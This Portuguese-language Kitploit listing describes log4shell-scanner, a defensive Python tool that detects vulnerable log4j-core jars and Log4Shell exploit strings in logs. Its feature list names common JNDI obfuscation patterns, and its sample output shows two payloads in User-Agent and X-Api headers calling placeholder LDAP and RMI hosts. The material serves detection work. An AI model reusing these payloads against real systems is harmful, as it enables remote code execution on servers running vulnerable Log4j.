Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4shell-scanner — Scanner leve que detecta versões vulneráveis do Log4j e indicadores de Log4Shell (CVE-2021-44228) em uma árvore de sistema de arquivos. | Kitploit
Ferramentas/GitHubGitHub/arpitgupta369/log4shell-scanner
Ferramentas DefensivasScanners de VulnerabilidadesAnálise de VulnerabilidadesSegurança da Cadeia de SuprimentosAprendizado e EducaçãoAnálise de Logs
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Scanner leve que detecta versões vulneráveis do Log4j e indicadores de Log4Shell (CVE-2021-44228) em uma árvore de sistema de arquivos.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

log4shell-scanner

Um scanner defensivo, sem dependências, para o Log4Shell — encontra jars vulneráveis do log4j-core e padrões de exploração JNDI em logs e configurações.

Por que este projeto

Durante minha atuação no CERT-In, trabalhei com identificação de ameaças, contenção, remediação e caça a ameaças — exatamente o fluxo de trabalho que o Log4Shell (CVE-2021-44228) exigiu em escala em dezembro de 2021: encontrar todos os artefatos vulneráveis do log4j-core em uma frota e vasculhar logs em busca de tentativas de exploração ${jndi:...}. Este scanner reconstrói esse fluxo de trabalho defensivo em um único script Python portátil, baseado na biblioteca padrão, que não precisa de nada instalado no host que inspeciona.

Funcionalidades

  • Descoberta de arquivos — percorre uma árvore de diretórios em busca de arquivos .jar / .war / .ear.
  • Detecção autoritativa de versão — lê e de dentro de cada arquivo com , usando o nome do arquivo como fallback; distingue o log4j-core real de jars não relacionados.
pom.properties
MANIFEST.MF
zipfile
  • Sinalização de CVE em toda a família Log4Shell:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (correção incompleta) — até 2.15.0
    • CVE-2021-45105 (DoS) — até 2.16.0
  • Caça a padrões de exploração — faz grep em logs/configurações/código-fonte por ${jndi:ldap:// e ofuscações comuns (${${lower:j}ndi:…}, separação por chaves j}ndi:, ${::-j}).
  • Remediação acionável — atualize para 2.17.1+ ou remova JndiLookup.class, além de orientações para monitoramento de egresso.
  • Árvore de exemplo inclusa com um log4j-core-2.14.1.jar vulnerável fictício (zip real contendo um pom.properties do log4j-core), um 2.17.1.jar corrigido, um jar não relacionado e um log com payloads JNDI.
  • --demo constrói e escaneia a árvore de exemplo de ponta a ponta.
  • Apenas biblioteca padrão do Python (os, re, zipfile). Sem dependências.
  • Stack de tecnologia

    Python 3 (apenas biblioteca padrão: argparse, os, re, zipfile).

    Instalação

    root@kitploit:~
    git clone https://github.com/arpitgupta369/log4shell-scanner.git
    cd log4shell-scanner
    python --version   # Python 3.8+
    # no dependencies to install
    

    Uso

    Execute a demonstração com a árvore de exemplo inclusa:

    root@kitploit:~
    python log4shell_scan.py --demo
    

    Saída esperada (resumida):

    root@kitploit:~
    --- Archives (log4j-core detection) ---
      [ok]         .../commons-lang3-3.12.0.jar
            version: unknown   (via no log4j-core detected)
      [VULNERABLE] .../log4j-core-2.14.1.jar
            version: 2.14.1   (via pom.properties (...))
            !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
            !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
            !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
      [ok]         .../log4j-core-2.17.1.jar
            version: 2.17.1   (via pom.properties (...))
    
    --- Exploit-pattern matches (JNDI payloads in text/logs) ---
      [MATCH] .../access.log (2 hit(s))
            L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
            L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
    
    --- Summary ---
      Vulnerable archives:      1
      Files with JNDI patterns: 1
    

    Escaneie qualquer diretório que você esteja autorizado a avaliar:

    root@kitploit:~
    python log4shell_scan.py /path/to/deployed/app
    

    O código de saída do processo é 1 quando algo vulnerável ou suspeito é encontrado e 0 quando limpo — conveniente para gates de CI/pipelines.

    Reconstrua a árvore de exemplo a qualquer momento:

    root@kitploit:~
    python log4shell_scan.py --build-samples
    

    Estrutura do projeto

    root@kitploit:~
    log4shell-scanner/
    ├── log4shell_scan.py      # scanner + sample-tree builder + CLI
    ├── samples/
    │   └── app/
    │       ├── libs/
    │       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
    │       │   ├── log4j-core-2.17.1.jar     # patched jar
    │       │   └── commons-lang3-3.12.0.jar  # unrelated jar
    │       ├── logs/
    │       │   └── access.log                # contains JNDI payloads
    │       └── config.properties             # benign (should not match)
    ├── README.md
    ├── LICENSE
    └── .gitignore
    

    Aviso legal

    Apenas para uso educacional, defensivo e autorizado. Execute-o somente contra sistemas e artefatos que você tenha permissão para avaliar. O scanner apenas lê e busca padrões — ele nunca executa nem explora nada. Os jars de exemplo inclusos são placeholders fabricados, não artefatos genuínos da Apache, e todos os hostnames de payloads usam nomes .test não roteáveis. Os mapeamentos versão-para-CVE são fornecidos para orientação; verifique os avisos de segurança oficiais da CVE e do Apache Log4j.


    Desenvolvido por Arpit Gupta — LinkedIn · GitHub

    Baixar ferramenta